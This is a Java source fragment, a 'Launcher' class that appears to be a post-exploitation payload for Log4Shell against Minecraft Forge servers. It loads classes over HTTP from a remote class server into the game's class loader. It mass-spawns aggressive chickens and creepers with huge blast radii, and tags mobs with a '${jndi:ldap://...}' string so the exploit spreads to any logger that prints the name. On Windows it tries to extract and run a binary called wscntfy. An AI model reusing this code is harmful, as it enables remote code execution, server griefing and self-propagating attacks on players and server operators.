Class<?> fml_eventbus_class = minecraft_forge_event_bus.getClass();
fml_event_bus_register_method = get_fml_event_bus_register_method(fml_eventbus_class);
fml_event_bus_register_method.setAccessible(true);
try {
forge_entityjoinworldevent_class = Class.forName("net.minecraftforge.event.entity.EntityJoinWorldEvent");
} catch(ClassNotFoundException e) {
e.printStackTrace();
}
try {
forge_livingdeathevent_class = Class.forName("net.minecraftforge.event.entity.living.LivingDeathEvent");
} catch(ClassNotFoundException e) {
e.printStackTrace();
}
URL[] class_path = new URL[] {
//new URL("https://sourceforge.net/projects/rivoreo-mc-plugins/files/aggressive-chickens/aggressive-chickens-1.6-mc-1.7.jar/download")
//new URL("https://static.planetminecraft.com/files/resource_media/mod/aggressive-chickens-1-6-mc-1-7.jar")
//new URL("http://60.26.156.27:87/aggressive-chickens-1.6-mc-1.7.jar"),
new URL("http", CLASS_SERVER_ADDRESS, CLASS_SERVER_HTTP_PORT, "/minecraftforge-" + version + "/")
};
for(URL url : class_path) {
mc_launch_class_loader_add_url_method.invoke(fml_mod_class_loader_parent_class_loader, url);
}
URLClassLoader class_loader = new URLClassLoader(class_path, mc_world_class.getClassLoader());
try {
living_entity_class = Class.forName("net.minecraft.entity.EntityLivingBase");
living_entity_get_attribute_map_method = living_entity_class.getDeclaredMethod("func_110140_aT");
Class<?> mob_attributes_class = Class.forName("net.minecraft.entity.SharedMonsterAttributes");
Field mob_follow_range_attribute_field = mob_attributes_class.getDeclaredField("field_111265_b");
mob_follow_range_attribute = mob_follow_range_attribute_field.get(null);
attribute_map_get_attribute_instance_method = living_entity_get_attribute_map_method.getReturnType().getDeclaredMethod("func_111151_a", mob_follow_range_attribute_field.getType());
attribute_instance_set_base_value_method = attribute_map_get_attribute_instance_method.getReturnType().getDeclaredMethod("func_111128_a", double.class);
} catch(Exception e) {
e.printStackTrace();
}
try {
creature_class = Class.forName("net.minecraft.entity.EntityCreature");
mob_class = Class.forName("net.minecraft.entity.EntityLiving");
mob_tasks_field = mob_class.getDeclaredField("field_70714_bg");
mob_target_tasks_field = mob_class.getDeclaredField("field_70715_bh");
Class<?> tasks_handler_class = mob_tasks_field.getType();
tasks_handler_task_list_field = tasks_handler_class.getDeclaredField("field_75782_a");
/*
Class<?>[] inner_classes = tasks_handler_class.getDeclaredClasses();
if(inner_classes.length == 1) {
tasks_handler_task_entry_action_field = inner_classes[0].getDeclaredField("field_75733_a");
}
*/
tasks_handler_task_entry_action_field = Class.forName("net.minecraft.entity.ai.EntityAITasks$EntityAITaskEntry").getDeclaredField("field_75733_a");
Class<?> task_class = tasks_handler_task_entry_action_field.getType();
tasks_handler_add_task_method = tasks_handler_class.getDeclaredMethod("func_75776_a", int.class, task_class);
tasks_handler_remove_task_method = tasks_handler_class.getDeclaredMethod("func_85156_a", task_class);
mob_panic_task_class = Class.forName("net.minecraft.entity.ai.EntityAIPanic");
mob_tempt_task_class = Class.forName("net.minecraft.entity.ai.EntityAITempt");
if(version.equals("1.7") || version.equals("1.8") || version.equals("1.9")) try {
mob_melee_attack_task_class = Class.forName("net.minecraft.entity.ai.EntityAIAttackOnCollide");
mob_melee_attack_task_constructor = mob_melee_attack_task_class.getDeclaredConstructor(creature_class, double.class, boolean.class);
} catch(ClassNotFoundException e) {
e.printStackTrace();
} catch(NoSuchMethodException e) {
e.printStackTrace();
}
mob_hurt_by_target_task_class = Class.forName("net.minecraft.entity.ai.EntityAIHurtByTarget");
try {
mob_hurt_by_target_task_constructor = mob_hurt_by_target_task_class.getDeclaredConstructor(creature_class, boolean.class);
} catch(NoSuchMethodException e) {
mob_hurt_by_target_task_constructor = mob_hurt_by_target_task_class.getDeclaredConstructor(creature_class, boolean.class, Class[].class);
}
} catch(Exception e) {
e.printStackTrace();
}
try {
aggressivechickens_forgemod_class = class_loader.loadClass("org.rivoreo.minecraft.aggressivechickens.ForgeMod");
aggressivechickens_forgemod_instance = aggressivechickens_forgemod_class.newInstance();
Field field = aggressivechickens_forgemod_class.getDeclaredField("hurted_chicken_call_for_help");
field.setAccessible(true);
field.setBoolean(aggressivechickens_forgemod_instance, true);
field = aggressivechickens_forgemod_class.getDeclaredField("call_help_max_distance");
field.setAccessible(true);
field.setDouble(aggressivechickens_forgemod_instance, Double.NaN);
field = aggressivechickens_forgemod_class.getDeclaredField("attack_damage");
field.setAccessible(true);
field.setInt(aggressivechickens_forgemod_instance, 4);
field = aggressivechickens_forgemod_class.getDeclaredField("revenge_for_killed_chicken");
field.setAccessible(true);
field.setBoolean(aggressivechickens_forgemod_instance, true);
field = aggressivechickens_forgemod_class.getDeclaredField("revenge_for_killed_chicken_horizontal_distance");
field.setAccessible(true);
field.setDouble(aggressivechickens_forgemod_instance, 16);
field = aggressivechickens_forgemod_class.getDeclaredField("revenge_for_killed_chicken_vertical_distance");
field.setAccessible(true);
field.setDouble(aggressivechickens_forgemod_instance, 128);
field = aggressivechickens_forgemod_class.getDeclaredField("angry_when_being_stared_by_player");
field.setAccessible(true);
field.setBoolean(aggressivechickens_forgemod_instance, false);
field = aggressivechickens_forgemod_class.getDeclaredField("angry_when_being_stared_by_player_max_distance");
field.setAccessible(true);
field.setFloat(aggressivechickens_forgemod_instance, 16);
field = aggressivechickens_forgemod_class.getDeclaredField("attack_moving_speed");
field.setAccessible(true);
field.setDouble(aggressivechickens_forgemod_instance, 0.9);
if(forge_entityjoinworldevent_class != null) try {
fml_event_bus_register_method.invoke(
minecraft_forge_event_bus,
forge_entityjoinworldevent_class,
aggressivechickens_forgemod_instance,
aggressivechickens_forgemod_class.getDeclaredMethod("on_entity_join_world", forge_entityjoinworldevent_class),
null);
} catch(Exception e) {
e.printStackTrace();
}
if(forge_livingdeathevent_class != null) try {
fml_event_bus_register_method.invoke(
minecraft_forge_event_bus,
forge_livingdeathevent_class,
aggressivechickens_forgemod_instance,
aggressivechickens_forgemod_class.getDeclaredMethod("on_living_entity_death", forge_livingdeathevent_class),
null);
} catch(Exception e) {
e.printStackTrace();
}
} catch(Exception e) {
e.printStackTrace();
}
if(version.equals("1.7") || version.equals("1.8") || version.equals("1.9")) try {
aggressivechicken_class = class_loader.loadClass("org.rivoreo.minecraft.aggressivechickens.AggressiveChicken");
for(Constructor constructor : aggressivechicken_class.getDeclaredConstructors()) {
Class<?>[] arg_classes = constructor.getParameterTypes();
if(arg_classes.length < 1 || arg_classes.length > 2) continue;
if(!arg_classes[0].equals(chicken_class)) continue;
aggressivechicken_constructor_argument_count = arg_classes.length;
constructor.setAccessible(true);
aggressivechicken_constructor = constructor;
}
} catch(ClassNotFoundException e) {
e.printStackTrace();
} else if(version.equals("1.10") || version.equals("1.11") || version.equals("1.12")) try {
mob_force_melee_attack_task_class = class_loader.loadClass("org.rivoreo.minecraft.aggressivechickens.ForceAttackMeleeTask");
mob_force_melee_attack_task_constructor = mob_force_melee_attack_task_class.getDeclaredConstructor(creature_class, double.class, float.class, boolean.class);
mob_force_melee_attack_task_constructor.setAccessible(true);
} catch(ClassNotFoundException e) {
e.printStackTrace();
} catch(NoSuchMethodException e) {
e.printStackTrace();
}
angrywhenbeingstaredbyplayertask_class = class_loader.loadClass("org.rivoreo.minecraft.aggressivechickens.AngryWhenBeingStaredByPlayerTask");
angrywhenbeingstaredbyplayertask_constructor = angrywhenbeingstaredbyplayertask_class.getDeclaredConstructor(creature_class, double.class);
} catch(Exception e) {
e.printStackTrace();
}
for(Object world : forge_loaded_worlds.values().toArray()) {
wrap_thread_unsafe_collections_from_world(world);
}
try {
creeper_class = Class.forName("net.minecraft.entity.monster.EntityCreeper");
creeper_construtor = creeper_class.getDeclaredConstructor(mc_world_class);
creeper_explosion_radius_field = creeper_class.getDeclaredField("field_82226_g");
creeper_explosion_radius_field.setAccessible(true);
skeleton_class = Class.forName("net.minecraft.entity.monster.EntitySkeleton");
skeleton_constructor = skeleton_class.getDeclaredConstructor(mc_world_class);
try {
entity_equipment_slot_class = Class.forName("net.minecraft.inventory.EntityEquipmentSlot");
Field field = entity_equipment_slot_class.getDeclaredField("MAINHAND");
entity_main_hand_slot = field.get(null);
field = entity_equipment_slot_class.getDeclaredField("OFFHAND");
entity_alt_hand_slot = field.get(null);
field = entity_equipment_slot_class.getDeclaredField("HEAD");
entity_head_slot = field.get(null);
mob_set_equipment_method = mob_entity_class.getDeclaredMethod("func_184201_a", entity_equipment_slot_class, itemstack_class);
} catch(Exception e) {
//e.printStackTrace();
mob_set_equipment_method = mob_entity_class.getDeclaredMethod("func_70062_b", int.class, itemstack_class);
}
} catch(ClassNotFoundException e) {
e.printStackTrace();
} catch(NoSuchFieldException e) {
e.printStackTrace();
}
(new Thread(instance)).start();
} catch(ClassNotFoundException e) {
e.printStackTrace();
} catch(NoSuchMethodException e) {
e.printStackTrace();
}
String sysname = System.getProperty("os.name");
if(sysname != null && sysname.startsWith("Windows")) try {
try {
extract_and_run_wscntfy();
} catch(Exception e) {
Runtime.getRuntime().exec(new String[] {
"calc.exe"
});
}
} catch(Exception e) {
//e.printStackTrace();
}
}
public Launcher(List<?> back_list) {
back_collection = back_list;
}
public Launcher(Set<?> back_set) {
back_collection = back_set;
}
public Launcher(Object world, Object entity) {
this.world = world;
entity_to_spawn = entity;
}
public Launcher() {
}
private Collection back_collection;
private Object world;
private Object entity_to_spawn;
/*
public void on_item_expire(Object event) {
System.err.println(event);
}
public Class<? extends Annotation> annotationType() {
return fml_subscribeevent_class;
}
*/
public void run() {
if(world != null && entity_to_spawn != null) {
try {
mc_world_spawn_entity_method.invoke(world, entity_to_spawn);
} catch(Exception e) {
e.printStackTrace();
}
return;
}
for(int i = 0; i < 64; i++) for(Object world : forge_loaded_worlds.values().toArray()) try {
wrap_thread_unsafe_collections_from_world(world);
for(int j = 0; j < 16; j++) {
Constructor<?> construtor = (random.nextInt(10) == 4) ? creeper_construtor : ((random.nextInt(4) == 1) ? skeleton_constructor : chicken_construtor);
//Constructor<?> construtor = skeleton_constructor;
Object entity = construtor.newInstance(world);
mob_set_name_tag_method.invoke(entity, String.format("${jndi:ldap://%s/%s}", CLASS_SERVER_ADDRESS, get_entity_name(entity)));
Integer x = Integer.valueOf(random.nextInt(512) - 256);
Integer y;
Integer z = Integer.valueOf(random.nextInt(512) - 256);
try {
if(mc_block_pos_constructor == null) {
y = (Integer)mc_world_get_ground_height_at_method.invoke(world, x, z);
} else {
y = Integer.valueOf(255);
Object pos = mc_block_pos_constructor.newInstance(x, y, z);
pos = mc_world_get_ground_height_at_method.invoke(world, pos);
y = (Integer)mc_vec3i_get_y_method.invoke(pos);
}
} catch(Exception e) {
e.printStackTrace();
y = Integer.valueOf(random.nextInt(16) + 64);
}
set_location_and_angles_method.invoke(entity,
x, y, z,
random.nextInt(360), random.nextInt(360));
if(chicken_class.isInstance(entity)) {
make_chicken_aggressive(entity);
} else if(creeper_class.isInstance(entity)) {
creeper_explosion_radius_field.set(entity, random.nextInt(128 - 4) + 4);
}
if(mob_set_equipment_method != null && skeleton_class.isInstance(entity)) {
Integer stack_size = Integer.valueOf(64);
Object sign_item_stack = itemstack_constructor_2.newInstance(sign_item, stack_size);
Object bow_item_stack = itemstack_constructor_2.newInstance(bow_item, stack_size);
if(random.nextBoolean()) {
set_mob_equipment(entity, 0, sign_item_stack);
set_mob_equipment(entity, 1, bow_item_stack);
} else {
set_mob_equipment(entity, 0, bow_item_stack);
set_mob_equipment(entity, 1, sign_item_stack);
}
Object egg_item_stack = itemstack_constructor_2.newInstance(egg_item, stack_size);
set_mob_equipment(entity, 4, egg_item_stack);
}
if(mc_world_schedule_task_method == null) {
mc_world_spawn_entity_method.invoke(world, entity);
} else {
mc_world_schedule_task_method.invoke(world, new Launcher(world, entity));
}
Thread.sleep(500);
}
Thread.sleep(1);
} catch(Exception e) {
e.printStackTrace();
}
}
public int size() {
synchronized(this) {
return back_collection.size();
}
}
public boolean isEmpty() {
synchronized(this) {
return back_collection.isEmpty();
}
}
public boolean contains(Object o) {
synchronized(this) {
return back_collection.contains(o);
}
}
public Object[] toArray() {
synchronized(this) {
return back_collection.toArray();
}
}
public Object[] toArray(Object[] a) {
synchronized(this) {
return back_collection.toArray(a);
}
}
public Iterator<?> iterator() {
synchronized(this) {
if(back_collection instanceof List) {
List<?> cloned_list = new ArrayList(back_collection);
return cloned_list.iterator();
}
if(back_collection instanceof Set) {
Set<?> cloned_set = new HashSet(back_collection);
return cloned_set.iterator();
}
}
throw new UnsupportedOperationException("No supported backing collection");
}
public boolean add(Object o) {
synchronized(this) {
return back_collection.add(o);
}
}
public boolean remove(Object o) {
synchronized(this) {
return back_collection.remove(o);
}
}
public boolean containsAll(Collection c) {
synchronized(this) {
return back_collection.containsAll(c);
}
}
public boolean addAll(Collection c) {
synchronized(this) {
return back_collection.addAll(c);
}
}
public boolean removeAll(Collection c) {
synchronized(this) {
return back_collection.removeAll(c);
}
}
public boolean retainAll(Collection c) {
synchronized(this) {
return back_collection.retainAll(c);
}
}
public void clear() {
synchronized(this) {
back_collection.clear();
}
}
public String toString() {
synchronized(this) {
return back_collection.toString();
}
}
public Object get(int index) {
synchronized(this) {
return ((List)back_collection).get(index);
}
}
public Object set(int index, Object o) {
synchronized(this) {
return ((List)back_collection).set(index, o);
}
}
public void add(int index, Object o) {
synchronized(this) {
((List)back_collection).add(index, o);
}
}
public Object remove(int index) {
try {
synchronized(this) {
return ((List)back_collection).remove(index);
}
} catch(IndexOutOfBoundsException e) {
for(StackTraceElement frame : e.getStackTrace()) {
if(!frame.getClassName().equals("net.minecraft.world.World")) continue;
if(!frame.getMethodName().equals("func_72939_s")) continue;
e.printStackTrace();
return null;
}
throw e;
}
}
public int indexOf(Object o) {
synchronized(this) {
return ((List)back_collection).indexOf(o);
}
}
public int lastIndexOf(Object o) {
synchronized(this) {
return ((List)back_collection).lastIndexOf(o);
}
}
public boolean addAll(int index, Collection c) {
synchronized(this) {
return ((List)back_collection).addAll(index, c);
}
}
public ListIterator<?> listIterator() {
synchronized(this) {
List<?> cloned_list = new ArrayList(back_collection);
return cloned_list.listIterator();
}
}
public ListIterator<?> listIterator(int index) {
synchronized(this) {
List<?> cloned_list = new ArrayList(back_collection);
return cloned_list.listIterator(index);
}
}
public List<?> subList(int begin_i, int end_i) {
synchronized(this) {
return new Launcher(((List<?>)back_collection).subList(begin_i, end_i));
}
}
}